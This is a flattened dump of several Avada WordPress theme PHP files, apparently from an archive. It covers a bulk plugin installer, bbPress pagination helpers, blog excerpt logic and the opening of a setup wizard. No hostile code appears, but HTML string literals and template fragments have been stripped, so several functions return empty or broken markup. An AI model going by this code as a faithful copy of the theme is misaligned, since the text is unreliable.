    ', esc_html( _n( 'The following plugin was activated successfully:', 'The following plugins were activated successfully:', $count, 'Avada' ) ), $imploded ); // Update recently activated plugins option. $recent = (array) get_option( 'recently_activated' ); foreach ( $plugins_to_activate as $plugin => $time ) { if ( isset( $recent[ $plugin ] ) ) { unset( $recent[ $plugin ] ); } } update_option( 'recently_activated', $recent ); } unset( $_POST ); // Reset the $_POST variable in case user wants to perform one action after another. return true; } return false; } /** * Prepares all of our information to be outputted into a usable table. * * @since 2.2.0 */ public function prepare_items() { $columns = $this->get_columns(); // Get all necessary column information. $hidden = array(); // No columns to hide, but we must set as an array. $sortable = array(); // No reason to make sortable columns. $primary = $this->get_primary_column_name(); // Column which has the row actions. $this->_column_headers = array( $columns, $hidden, $sortable, $primary ); // Get all necessary column headers. // Process our bulk activations here. if ( 'tgmpa-bulk-activate' === $this->current_action() ) { $this->process_bulk_actions(); } // Store all of our plugin data into $items array so WP_List_Table can use it. $this->items = apply_filters( 'tgmpa_table_data_items', $this->_gather_plugin_data() ); } /* *********** DEPRECATED METHODS *********** */ /** * Retrieve plugin data, given the plugin name. * * @since 2.2.0 * @deprecated 2.5.0 use {@see Avada_TGM_Plugin_Activation::_get_plugin_data_from_name()} instead. * @see Avada_TGM_Plugin_Activation::_get_plugin_data_from_name() * * @param string $name Name of the plugin, as it was registered. * @param string $data Optional. Array key of plugin data to return. Default is slug. * @return string|boolean Plugin slug if found, false otherwise. */ protected function _get_plugin_data_from_name( $name, $data = 'slug' ) { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Avada_TGM_Plugin_Activation::_get_plugin_data_from_name()' ); return $this->tgmpa->_get_plugin_data_from_name( $name, $data ); } } } if ( ! class_exists( 'TGM_Bulk_Installer' ) ) { /** * Hack: Prevent TGMPA v2.4.1- bulk installer class from being loaded if 2.4.1- is loaded after 2.5+. * * @since 2.5.2 * * {@internal The TGMPA_Bulk_Installer class was originally called TGM_Bulk_Installer. * For more information, see that class.}} */ class TGM_Bulk_Installer { } } if ( ! class_exists( 'TGM_Bulk_Installer_Skin' ) ) { /** * Hack: Prevent TGMPA v2.4.1- bulk installer skin class from being loaded if 2.4.1- is loaded after 2.5+. * * @since 2.5.2 * * {@internal The TGMPA_Bulk_Installer_Skin class was originally called TGM_Bulk_Installer_Skin. * For more information, see that class.}} */ class TGM_Bulk_Installer_Skin { } } /** * The WP_Upgrader file isn't always available. If it isn't available, * we load it here. * * We check to make sure no action or activation keys are set so that WordPress * does not try to re-include the class when processing upgrades or installs outside * of the class. * * @since 2.2.0 */ add_action( 'admin_init', 'tgmpa_load_bulk_installer' ); if ( ! function_exists( 'tgmpa_load_bulk_installer' ) ) { /** * Load bulk installer */ function tgmpa_load_bulk_installer() { // Silently fail if 2.5+ is loaded *after* an older version. if ( ! isset( $GLOBALS['avada_tgmpa'] ) ) { return; } // Get TGMPA class instance. $tgmpa_instance = call_user_func( array( get_class( $GLOBALS['avada_tgmpa'] ), 'get_instance' ) ); if ( isset( $_GET['page'] ) && $tgmpa_instance->menu === $_GET['page'] ) { if ( ! class_exists( 'Plugin_Upgrader', false ) ) { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; } if ( ! class_exists( 'TGMPA_Bulk_Installer' ) ) { /** * Installer class to handle bulk plugin installations. * * Extends WP_Upgrader and customizes to suit the installation of multiple * plugins. * * @since 2.2.0 * * {@internal Since 2.5.0 the class is an extension of Plugin_Upgrader rather than WP_Upgrader.}} * {@internal Since 2.5.2 the class has been renamed from TGM_Bulk_Installer to TGMPA_Bulk_Installer. * This was done to prevent backward compatibility issues with v2.3.6.}} * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_Bulk_Installer extends Plugin_Upgrader { /** * Holds result of bulk plugin installation. * * @since 2.2.0 * * @var string */ public $result; /** * Flag to check if bulk installation is occurring or not. * * @since 2.2.0 * * @var boolean */ public $bulk = false; /** * TGMPA instance * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * Whether or not the destination directory needs to be cleared ( = on update). * * @since 2.5.0 * * @var bool */ protected $clear_destination = false; /** * References parent constructor and sets defaults for class. * * @since 2.2.0 * * @param \Bulk_Upgrader_Skin|null $skin Installer skin. */ public function __construct( $skin = null ) { // Get TGMPA class instance. $this->tgmpa = call_user_func( array( get_class( $GLOBALS['avada_tgmpa'] ), 'get_instance' ) ); parent::__construct( $skin ); if ( isset( $this->skin->options['install_type'] ) && 'update' === $this->skin->options['install_type'] ) { $this->clear_destination = true; } if ( $this->tgmpa->is_automatic ) { $this->activate_strings(); } add_action( 'upgrader_process_complete', array( $this->tgmpa, 'populate_file_path' ) ); } /** * Sets the correct activation strings for the installer skin to use. * * @since 2.2.0 */ public function activate_strings() { $this->strings['activation_failed'] = __( 'Plugin activation failed.', 'Avada' ); $this->strings['activation_success'] = __( 'Plugin activated successfully.', 'Avada' ); } /** * Performs the actual installation of each plugin. * * @since 2.2.0 * * @see WP_Upgrader::run() * * @param array $options The installation config options. * @return null|array Return early if error, array of installation data on success. */ public function run( $options ) { $result = parent::run( $options ); // Reset the strings in case we changed one during automatic activation. if ( $this->tgmpa->is_automatic ) { if ( 'update' === $this->skin->options['install_type'] ) { $this->upgrade_strings(); } else { $this->install_strings(); } } return $result; } /** * Processes the bulk installation of plugins. * * @since 2.2.0 * * {@internal This is basically a near identical copy of the WP Core * Plugin_Upgrader::bulk_upgrade() method, with minor adjustments to deal with * new installs instead of upgrades. * For ease of future synchronizations, the adjustments are clearly commented, but no other * comments are added. Code style has been made to comply.}} * * @see Plugin_Upgrader::bulk_upgrade() * @see https://core.trac.wordpress.org/browser/tags/4.2.1/src/wp-admin/includes/class-wp-upgrader.php#L838 * (@internal Last synced: Dec 31st 2015 against https://core.trac.wordpress.org/browser/trunk?rev=36134}} * * @param array $plugins The plugin sources needed for installation. * @param array $args Arbitrary passed extra arguments. * @return array|false Install confirmation messages on success, false on failure. */ public function bulk_install( $plugins, $args = array() ) { // [TGMPA + ] Hook auto-activation in. add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->bulk = true; $this->install_strings(); // [TGMPA + ] adjusted. /* [TGMPA - ] $current = get_site_transient( 'update_plugins' ); */ /* [TGMPA - ] add_filter('upgrader_clear_destination', array($this, 'delete_old_plugin'), 10, 4); */ $this->skin->header(); // Connect to the Filesystem first. $res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) ); if ( ! $res ) { $this->skin->footer(); return false; } $this->skin->bulk_header(); /* * Only start maintenance mode if: * - running Multisite and there are one or more plugins specified, OR * - a plugin with an update available is currently active. * @TODO: For multisite, maintenance mode should only kick in for individual sites if at all possible. */ $maintenance = ( is_multisite() && ! empty( $plugins ) ); /* [TGMPA - ] foreach ( $plugins as $plugin ) $maintenance = $maintenance || ( fusion_is_plugin_activated( $plugin ) && isset( $current->response[ $plugin] ) ); */ if ( $maintenance ) { $this->maintenance_mode( true ); } $results = array(); $this->update_count = count( $plugins ); $this->update_current = 0; foreach ( $plugins as $plugin ) { $this->update_current++; /* [TGMPA - ] $this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true); if ( !isset( $current->response[ $plugin ] ) ) { $this->skin->set_result('up_to_date'); $this->skin->before(); $this->skin->feedback('up_to_date'); $this->skin->after(); $results[$plugin] = true; continue; } // Get the URL to the zip file. $r = $current->response[ $plugin ]; $this->skin->plugin_active = fusion_is_plugin_activated($plugin); */ $result = $this->run( array( 'package' => $plugin, // [TGMPA + ] adjusted. 'destination' => WP_PLUGIN_DIR, 'clear_destination' => false, // [TGMPA + ] adjusted. 'clear_working' => true, 'is_multi' => true, 'hook_extra' => array( 'plugin' => $plugin, ), ) ); $results[ $plugin ] = $this->result; // Prevent credentials auth screen from displaying multiple times. if ( false === $result ) { break; } } //end foreach $plugins $this->maintenance_mode( false ); /** * Fires when the bulk upgrader process is complete. * * @since WP 3.6.0 / TGMPA 2.5.0 * * @param Plugin_Upgrader $this Plugin_Upgrader instance. In other contexts, $this, might * be a Theme_Upgrader or Core_Upgrade instance. * @param array $data { * Array of bulk item update data. * * @type string $action Type of action. Default 'update'. * @type string $type Type of update process. Accepts 'plugin', 'theme', or 'core'. * @type bool $bulk Whether the update process is a bulk update. Default true. * @type array $packages Array of plugin, theme, or core packages to update. * } */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'install', // [TGMPA + ] adjusted. 'type' => 'plugin', 'bulk' => true, 'plugins' => $plugins, ) ); $this->skin->bulk_footer(); $this->skin->footer(); // Cleanup our hooks, in case something else does a upgrade on this connection. /* [TGMPA - ] remove_filter('upgrader_clear_destination', array($this, 'delete_old_plugin')); */ // [TGMPA + ] Remove our auto-activation hook. remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); return $results; } /** * Handle a bulk upgrade request. * * @since 2.5.0 * * @see Plugin_Upgrader::bulk_upgrade() * * @param array $plugins The local WP file_path's of the plugins which should be upgraded. * @param array $args Arbitrary passed extra arguments. * @return string|bool Install confirmation messages on success, false on failure. */ public function bulk_upgrade( $plugins, $args = array() ) { add_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); $result = parent::bulk_upgrade( $plugins, $args ); remove_filter( 'upgrader_post_install', array( $this, 'auto_activate' ), 10 ); return $result; } /** * Abuse a filter to auto-activate plugins after installation. * * Hooked into the 'upgrader_post_install' filter hook. * * @since 2.5.0 * * @param bool $bool The value we need to give back (true). * @return bool */ public function auto_activate( $bool ) { // Only process the activation of installed plugins if the automatic flag is set to true. if ( $this->tgmpa->is_automatic ) { // Flush plugins cache so the headers of the newly installed plugins will be read correctly. wp_clean_plugins_cache(); // Get the installed plugin file. $plugin_info = $this->plugin_info(); // Don't try to activate on upgrade of active plugin as WP will do this already. if ( ! fusion_is_plugin_activated( $plugin_info ) ) { $activate = activate_plugin( $plugin_info ); // Adjust the success string based on the activation result. $this->strings['process_success'] = $this->strings['process_success'] . "
    \n"; if ( is_wp_error( $activate ) ) { $this->skin->error( $activate ); $this->strings['process_success'] .= $this->strings['activation_failed']; } else { $this->strings['process_success'] .= $this->strings['activation_success']; } } } return $bool; } } } if ( ! class_exists( 'TGMPA_Bulk_Installer_Skin' ) ) { /** * Installer skin to set strings for the bulk plugin installations.. * * Extends Bulk_Upgrader_Skin and customizes to suit the installation of multiple * plugins. * * @since 2.2.0 * * {@internal Since 2.5.2 the class has been renamed from TGM_Bulk_Installer_Skin to * TGMPA_Bulk_Installer_Skin. * This was done to prevent backward compatibility issues with v2.3.6.}} * * @see https://core.trac.wordpress.org/browser/trunk/src/wp-admin/includes/class-wp-upgrader-skins.php * * @package TGM-Plugin-Activation * @author Thomas Griffin * @author Gary Jones */ class TGMPA_Bulk_Installer_Skin extends Bulk_Upgrader_Skin { /** * Holds plugin info for each individual plugin installation. * * @since 2.2.0 * * @var array */ public $plugin_info = array(); /** * Holds names of plugins that are undergoing bulk installations. * * @since 2.2.0 * * @var array */ public $plugin_names = array(); /** * Integer to use for iteration through each plugin installation. * * @since 2.2.0 * * @var integer */ public $i = 0; /** * TGMPA instance * * @since 2.5.0 * * @var object */ protected $tgmpa; /** * Constructor. Parses default args with new ones and extracts them for use. * * @since 2.2.0 * * @param array $args Arguments to pass for use within the class. */ public function __construct( $args = array() ) { // Get TGMPA class instance. $this->tgmpa = call_user_func( array( get_class( $GLOBALS['avada_tgmpa'] ), 'get_instance' ) ); // Parse default and new args. $defaults = array( 'url' => '', 'nonce' => '', 'names' => array(), 'install_type' => 'install', ); $args = wp_parse_args( $args, $defaults ); // Set plugin names to $this->plugin_names property. $this->plugin_names = $args['names']; // Extract the new args. parent::__construct( $args ); } /** * Sets install skin strings for each individual plugin. * * Checks to see if the automatic activation flag is set and uses the * the proper strings accordingly. * * @since 2.2.0 */ public function add_strings() { if ( 'update' === $this->options['install_type'] ) { parent::add_strings(); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = __( 'Updating Plugin %1$s (%2$d/%3$d)', 'Avada' ); } else { /* translators: 1: plugin name, 2: error message. */ $this->upgrader->strings['skin_update_failed_error'] = __( 'An error occurred while installing %1$s: %2$s.', 'Avada' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_failed'] = __( 'The installation of %1$s failed.', 'Avada' ); if ( $this->tgmpa->is_automatic ) { // Automatic activation strings. $this->upgrader->strings['skin_upgrade_start'] = __( 'The installation and activation process is starting. This process may take a while on some hosts, so please be patient.', 'Avada' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_successful'] = __( '%1$s installed and activated successfully.', 'Avada' ) . ' ' . esc_html__( 'Show Details', 'Avada' ) . '.'; $this->upgrader->strings['skin_upgrade_end'] = __( 'All installations and activations have been completed.', 'Avada' ); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = __( 'Installing and Activating Plugin %1$s (%2$d/%3$d)', 'Avada' ); } else { // Default installation strings. $this->upgrader->strings['skin_upgrade_start'] = __( 'The installation process is starting. This process may take a while on some hosts, so please be patient.', 'Avada' ); /* translators: 1: plugin name. */ $this->upgrader->strings['skin_update_successful'] = esc_html__( '%1$s installed successfully.', 'Avada' ) . ' ' . esc_html__( 'Show Details', 'Avada' ) . '.'; $this->upgrader->strings['skin_upgrade_end'] = __( 'All installations have been completed.', 'Avada' ); /* translators: 1: plugin name, 2: action number 3: total number of actions. */ $this->upgrader->strings['skin_before_update_header'] = __( 'Installing Plugin %1$s (%2$d/%3$d)', 'Avada' ); } } } /** * Outputs the header strings and necessary JS before each plugin installation. * * @since 2.2.0 * * @param string $title Unused in this implementation. */ public function before( $title = '' ) { if ( empty( $title ) ) { $title = esc_html( $this->plugin_names[ $this->i ] ); } parent::before( $title ); } /** * Outputs the footer strings and necessary JS after each plugin installation. * * Checks for any errors and outputs them if they exist, else output * success strings. * * @since 2.2.0 * * @param string $title Unused in this implementation. */ public function after( $title = '' ) { if ( empty( $title ) ) { $title = esc_html( $this->plugin_names[ $this->i ] ); } parent::after( $title ); $this->i++; } /** * Outputs links after bulk plugin installation is complete. * * @since 2.2.0 */ public function bulk_footer() { // Serve up the string to say installations (and possibly activations) are complete. parent::bulk_footer(); // Flush plugins cache so we can make sure that the installed plugins list is always up to date. wp_clean_plugins_cache(); $this->tgmpa->show_tgmpa_version(); // Display message based on if all plugins are now active or not. $update_actions = array(); if ( $this->tgmpa->is_tgmpa_complete() ) { // All plugins are active, so we display the complete string and hide the menu to protect users. echo ''; $update_actions['dashboard'] = sprintf( esc_html( $this->tgmpa->strings['complete'] ), '' . esc_html__( 'Return to the Dashboard', 'Avada' ) . '' ); } else { $update_actions['tgmpa_page'] = '' . esc_html( $this->tgmpa->strings['return'] ) . ''; } /** * Filter the list of action links available following bulk plugin installs/updates. * * @since 2.5.0 * * @param array $update_actions Array of plugin action links. * @param array $plugin_info Array of information for the last-handled plugin. */ $update_actions = apply_filters( 'tgmpa_update_bulk_plugins_complete_actions', $update_actions, $this->plugin_info ); if ( ! empty( $update_actions ) ) { $this->feedback( implode( ' | ', (array) $update_actions ) ); } } /* *********** DEPRECATED METHODS *********** */ /** * Flush header output buffer. * * @since 2.2.0 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead * @see Bulk_Upgrader_Skin::flush_output() */ public function before_flush_output() { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' ); $this->flush_output(); } /** * Flush footer output buffer and iterate $this->i to make sure the * installation strings reference the correct plugin. * * @since 2.2.0 * @deprecated 2.5.0 use {@see Bulk_Upgrader_Skin::flush_output()} instead * @see Bulk_Upgrader_Skin::flush_output() */ public function after_flush_output() { _deprecated_function( __FUNCTION__, 'TGMPA 2.5.0', 'Bulk_Upgrader_Skin::flush_output()' ); $this->flush_output(); $this->i++; } } } } } } if ( ! class_exists( 'TGMPA_Utils' ) ) { /** * Generic utilities for TGMPA. * * All methods are static, poor-dev name-spacing class wrapper. * * Class was called TGM_Utils in 2.5.0 but renamed TGMPA_Utils in 2.5.1 as this was conflicting with Soliloquy. * * @since 2.5.0 * * @package TGM-Plugin-Activation * @author Juliette Reinders Folmer */ class TGMPA_Utils { /** * Whether the PHP filter extension is enabled. * * @see http://php.net/book.filter * * @since 2.5.0 * * @static * * @var bool $has_filters True is the extension is enabled. */ public static $has_filters; /** * Wrap an arbitrary string in tags. Meant to be used in combination with array_map(). * * @since 2.5.0 * * @static * * @param string $string Text to be wrapped. * @return string */ public static function wrap_in_em( $string ) { return '' . wp_kses_post( $string ) . ''; } /** * Wrap an arbitrary string in tags. Meant to be used in combination with array_map(). * * @since 2.5.0 * * @static * * @param string $string Text to be wrapped. * @return string */ public static function wrap_in_strong( $string ) { return '' . wp_kses_post( $string ) . ''; } /** * Helper function: Validate a value as boolean * * @since 2.5.0 * * @static * * @param mixed $value Arbitrary value. * @return bool */ public static function validate_bool( $value ) { if ( ! isset( self::$has_filters ) ) { self::$has_filters = extension_loaded( 'filter' ); } if ( self::$has_filters ) { return filter_var( $value, FILTER_VALIDATE_BOOLEAN ); } else { return self::emulate_filter_bool( $value ); } } /** * Helper function: Cast a value to bool * * @since 2.5.0 * * @static * * @param mixed $value Value to cast. * @return bool */ protected static function emulate_filter_bool( $value ) { static $true = array( '1', 'true', 'True', 'TRUE', 'y', 'Y', 'yes', 'Yes', 'YES', 'on', 'On', 'ON', ); static $false = array( '0', 'false', 'False', 'FALSE', 'n', 'N', 'no', 'No', 'NO', 'off', 'Off', 'OFF', ); if ( is_bool( $value ) ) { return $value; } elseif ( is_int( $value ) && ( 0 === $value || 1 === $value ) ) { return (bool) $value; } elseif ( ( is_float( $value ) && ! is_nan( $value ) ) && ( (float) 0 === $value || (float) 1 === $value ) ) { return (bool) $value; } elseif ( is_string( $value ) ) { $value = trim( $value ); if ( in_array( $value, $true, true ) ) { return true; } elseif ( in_array( $value, $false, true ) ) { return false; } else { return false; } } return false; } } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-avada-layout-bbpress.php000064400000024454152342437700015247 0ustar00

    pagination_counter ) : // phpcs:ignore WordPress.PHP.StrictComparisons ?>
    pagination_counter ) : // phpcs:ignore WordPress.PHP.StrictComparisons ?>
    pagination_counter++; } /** * Filter out aditional description content we don't want to display. * * @ return string An empty string */ public function remove_single_description() { return ''; } /** * Filter forum pagination links to get them Avada style * * @ return string Avada style pagination mark up */ public function get_forum_pagination_links() { $bbp = bbpress(); $pagination_links = $bbp->topic_query->pagination_links; $pagination_links = str_replace( 'page-numbers current', 'current', $pagination_links ); $pagination_links = str_replace( 'page-numbers', 'inactive', $pagination_links ); $pagination_links = str_replace( 'prev inactive', 'pagination-prev', $pagination_links ); $pagination_links = str_replace( 'next inactive', 'pagination-next', $pagination_links ); $pagination_links = str_replace( '←', '' . __( 'Previous', 'Avada' ) . '', $pagination_links ); $pagination_links = str_replace( '→', '' . __( 'Next', 'Avada' ) . '', $pagination_links ); return $pagination_links; } /** * Filter topic pagination links to get them Avada style * * @ return string Avada style pagination mark up */ public function get_topic_pagination_links() { $bbp = bbpress(); $pagination_links = $bbp->reply_query->pagination_links; $permalink = get_permalink( $bbp->current_topic_id ); $max_num_pages = $bbp->reply_query->max_num_pages; $paged = $bbp->reply_query->paged; $pagination_links = str_replace( 'page-numbers current', 'current', $pagination_links ); $pagination_links = str_replace( 'page-numbers', 'inactive', $pagination_links ); $pagination_links = str_replace( 'prev inactive', 'pagination-prev', $pagination_links ); $pagination_links = str_replace( 'next inactive', 'pagination-next', $pagination_links ); $pagination_links = str_replace( '←', '' . __( 'Previous', 'Avada' ) . '', $pagination_links ); $pagination_links = str_replace( '→', '' . __( 'Next', 'Avada' ) . '', $pagination_links ); return $pagination_links; } /** * Filter search pagination links to get them Avada style * * @ return string Avada style pagination mark up */ public function get_search_pagination_links() { $bbp = bbpress(); $pagination_links = $bbp->search_query->pagination_links; $pagination_links = str_replace( 'page-numbers current', 'current', $pagination_links ); $pagination_links = str_replace( 'page-numbers', 'inactive', $pagination_links ); $pagination_links = str_replace( 'prev inactive', 'pagination-prev', $pagination_links ); $pagination_links = str_replace( 'next inactive', 'pagination-next', $pagination_links ); $pagination_links = str_replace( '←', '' . __( 'Previous', 'Avada' ) . '', $pagination_links ); $pagination_links = str_replace( '→', '' . __( 'Next', 'Avada' ) . '', $pagination_links ); return $pagination_links; } /** * Filters out the | if the reply admin links are empty. * * @access public * @since 3.9 * @param string $retval The return value. * @param string $r Not used. * @param array $args Not used. * @return string Avada style pagination markup. */ public function remove_empty_admin_links_sep( $retval, $r, $args ) { if ( ' | ' === $retval ) { $retval = ''; } return $retval; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-avada-blog.php000064400000015766152342437700013225 0ustar00settings->get( 'excerpt_length_blog' ) ) ) { $length = Avada()->settings->get( 'excerpt_length_blog' ); } // Search results excerpt length. if ( is_search() ) { $length = Avada()->settings->get( 'excerpt_length_blog' ); } return $length; } /** * Get the post (excerpt). * * @return void Content is directly echoed. */ public function render_post_content() { if ( is_search() ) { echo fusion_get_post_content( '', 'search' ); // phpcs:ignore WordPress.Security.EscapeOutput } else { echo fusion_get_post_content(); // phpcs:ignore WordPress.Security.EscapeOutput } } /** * Apply post per page on search pages. * * @param object $query The WP_Query object. * @return void */ public function alter_search_loop( $query ) { if ( ! is_admin() && $query->is_main_query() && $query->is_search() && Avada()->settings->get( 'search_results_per_page' ) ) { $query->set( 'posts_per_page', Avada()->settings->get( 'search_results_per_page' ) ); } } /** * Get the content of the post * strip it and apply any changes required to the excerpt first. * * @param int $excerpt_length The length of our excerpt. * @param string $content The content. */ public function get_content_stripped_and_excerpted( $excerpt_length, $content ) { $pattern = get_shortcode_regex(); $content = preg_replace_callback( "/$pattern/s", 'fusion_extract_shortcode_contents', $content ); $content = explode( ' ', $content, $excerpt_length + 1 ); if ( $excerpt_length < count( $content ) ) { array_pop( $content ); } $content = implode( ' ', $content ); $content = preg_replace( '~(?:\[/?)[^/\]]+/?\]~s', '', $content ); // Strip shortcodes and keep the content. $content = str_replace( ']]>', ']]>', $content ); $content = strip_tags( $content ); // phpcs:ignore WordPress.WP.AlternativeFunctions.strip_tags_strip_tags $content = str_replace( [ '"', "'" ], [ '"', ''' ], $content ); $content = trim( $content ); return $content; } /** * Retrieve the content and apply and read-more modifications needed. * * @param int $limit The limit we've set for our content. * @param bool $strip_html If we want to strip HTML from our content. */ public function content( $limit, $strip_html ) { global $more; $content = ''; // Sanitizing the limit value. $limit = ( ! $limit && 0 !== $limit && '0' !== $limit ) ? 285 : intval( $limit ); $test_strip_html = ( 'true' === $strip_html || true === $strip_html ); $custom_excerpt = false; $post = get_post( get_the_ID() ); $pos = strpos( $post->post_content, '' ); $readmore = ( Avada()->settings->get( 'link_read_more' ) ) ? ' [...]' : ' [...]'; $readmore = ( ! Avada()->settings->get( 'disable_excerpts' ) ) ? '' : $readmore; if ( $test_strip_html ) { $more = 0; // phpcs:ignore WordPress.WP.GlobalVariablesOverride $raw_content = wp_strip_all_tags( get_the_content( '{{read_more_placeholder}}' ), '

    ' ); // Strip out all attributes. $raw_content = preg_replace( '/<(\w+)[^>]*>/', '<$1>', $raw_content ); $raw_content = str_replace( '{{read_more_placeholder}}', $readmore, $raw_content ); if ( $post->post_excerpt || false !== $pos ) { $raw_content = ( ! $pos ) ? wp_strip_all_tags( rtrim( get_the_excerpt(), '[…]' ), '

    ' ) . $readmore : $raw_content; $custom_excerpt = true; } } else { $more = 0; // phpcs:ignore WordPress.WP.GlobalVariablesOverride $raw_content = get_the_content( $readmore ); if ( $post->post_excerpt || false !== $pos ) { $raw_content = ( ! $pos ) ? rtrim( get_the_excerpt(), '[…]' ) . $readmore : $raw_content; $custom_excerpt = true; } } if ( $raw_content && ! $custom_excerpt ) { $pattern = get_shortcode_regex(); $content = preg_replace_callback( "/$pattern/s", 'fusion_extract_shortcode_contents', $raw_content ); if ( 'characters' === fusion_get_option( 'excerpt_base' ) ) { $content = mb_substr( $content, 0, $limit ); $content .= ( 0 !== $limit && Avada()->settings->get( 'disable_excerpts' ) ) ? $readmore : ''; } else { $content = explode( ' ', $content, $limit + 1 ); if ( $limit < count( $content ) ) { array_pop( $content ); $content = implode( ' ', $content ); if ( Avada()->settings->get( 'disable_excerpts' ) ) { $content .= ( 0 !== $limit ) ? $readmore : ''; } } else { $content = implode( ' ', $content ); } } if ( 0 !== $limit && ! $test_strip_html ) { $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]>', $content ); } else { $content = '

    ' . $content . '

    '; } $strip_html_class = ( $test_strip_html ) ? 'strip-html' : ''; $content = '
    ' . do_shortcode( $content ) . '
    '; return $content; } if ( $custom_excerpt ) { $pattern = get_shortcode_regex(); $content = preg_replace_callback( "/$pattern/s", 'fusion_extract_shortcode_contents', $raw_content ); if ( $test_strip_html ) { $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]>', $content ); $content = '
    ' . do_shortcode( $content ) . '
    '; } else { $content = apply_filters( 'the_content', $content ); $content = str_replace( ']]>', ']]>', $content ); } } if ( has_excerpt() ) { $content = do_shortcode( get_the_excerpt() ); $content = '

    ' . $content . '

    '; } return $content; } /** * Get the blog layout for the current page template. * * @return string The correct layout name for the blog post class. */ public function get_blog_layout() { $theme_options_blog_var = ''; if ( is_home() ) { $theme_options_blog_var = 'blog_layout'; } elseif ( is_search() ) { $theme_options_blog_var = 'search_layout'; } elseif ( is_archive() || is_author() ) { $theme_options_blog_var = 'blog_archive_layout'; } return str_replace( ' ', '-', Avada()->settings->get( $theme_options_blog_var ) ); } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-awb-setup-wizard.php000064400000232320152342437700014420 0ustar00 '--awo-color1', '--awb-color2' => '--awo-color2', '--awb-color3' => '--awo-color3', '--awb-color4' => '--awo-color4', '--awb-color5' => '--awo-color5', '--awb-color6' => '--awo-color6', '--awb-color7' => '--awo-color7', '--awb-color8' => '--awo-color8', '--awo-color1' => '--awb-color8', '--awo-color2' => '--awb-color7', '--awo-color3' => '--awb-color6', '--awo-color4' => '--awb-color5', '--awo-color5' => '--awb-color4', '--awo-color6' => '--awb-color3', '--awo-color7' => '--awb-color2', '--awo-color8' => '--awb-color1', '-l) -' => '-x) -', '-l) +' => '-l) -', '-x) -' => '-l) +', 'background_blend_mode="lighten' => 'xackground_blend_mode="lighten', 'background_blend_mode="multiply' => 'background_blend_mode="lighten', 'xackground_blend_mode="lighten' => 'background_blend_mode="multiply', ]; /** * Creates or returns an instance of this class. * * @static * @access public * @since 7.4 */ public static function get_instance() { // If an instance hasn't been created and set to $instance create an instance and set it to $instance. if ( null === self::$instance ) { self::$instance = new AWB_Setup_Wizard(); } return self::$instance; } /** * The class constructor * * @access public */ public function __construct() { // Fetches and saves color scheme, typography and maintenance globals. add_action( 'wp_ajax_awb_save_globals', [ $this, 'ajax_save_globals' ] ); // Fetches and saves maintenance globals. add_action( 'wp_ajax_awb_save_globals_maintenance', [ $this, 'ajax_save_globals_maintenance' ] ); // Creates layout sections and assigns. add_action( 'wp_ajax_awb_save_setup_layouts', [ $this, 'ajax_save_layouts' ] ); // Imports setup pages. add_action( 'wp_ajax_awb_import_setup_pages', [ $this, 'ajax_import_pages' ] ); // Finish scratch import. add_action( 'wp_ajax_awb_finalise_scratch_setup', [ $this, 'ajax_finalise_scratch_setup' ] ); // Allow SVG upload in the wizard. add_filter( 'wp_check_filetype_and_ext', [ Avada()->images, 'correct_svg_filetype' ], 10, 5 ); add_filter( 'upload_mimes', [ Avada()->images, 'allow_svg' ], 100 ); if ( ! fusion_doing_ajax() ) { add_action( 'admin_enqueue_scripts', [ $this, 'add_scripts' ] ); } if ( isset( $_GET['page'] ) && 'avada-setup' === sanitize_text_field( wp_unslash( $_GET['page'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended add_filter( 'awb_po_get_value', [ $this, 'global_value' ], 10, 2 ); add_filter( 'awb_po_get_option_name', [ $this, 'global_name' ], 10, 2 ); } } /** * Process the content, replacing logo for example. * * @access public * @since 7.4 * @param mixed $post_data Post data. */ public function process_content( $post_data ) { // Find logo image and replace with text logo or image selection by user. $pattern = get_shortcode_regex( [ 'fusion_imageframe' ] ); $post_data['post_content'] = preg_replace_callback( "/$pattern/", [ $this, 'process_images' ], $post_data['post_content'] ); // Find contact button and use the contact page link. $pattern = get_shortcode_regex( [ 'fusion_button' ] ); $post_data['post_content'] = preg_replace_callback( "/$pattern/", [ $this, 'process_buttons' ], $post_data['post_content'] ); // Find main menu and replace menu ID with created one if we have one. $this->menu_ignore = []; $menu_exists = wp_get_nav_menu_object( $this->menu_name ); if ( $menu_exists ) { $pattern = get_shortcode_regex( [ 'fusion_menu' ] ); $post_data['post_content'] = preg_replace_callback( "/$pattern/", [ $this, 'process_menus' ], $post_data['post_content'] ); } // If we have replaced menus in the content, we don't need to import them, so remove from avada_media. if ( ! empty( $this->menu_ignore ) && isset( $post_data['avada_media']['menus'] ) ) { foreach ( $this->menu_ignore as $menu_slug ) { if ( isset( $post_data['avada_media']['menus'][ $menu_slug ] ) ) { unset( $post_data['avada_media']['menus'][ $menu_slug ] ); } } if ( empty( $post_data['avada_media']['menus'] ) ) { unset( $post_data['avada_media']['menus'] ); } } return $post_data; } /** * Look for the main menu and replace with created menu. * * @access public * @since 7.7 * @param mixed $m The menu. */ public function process_menus( $m ) { global 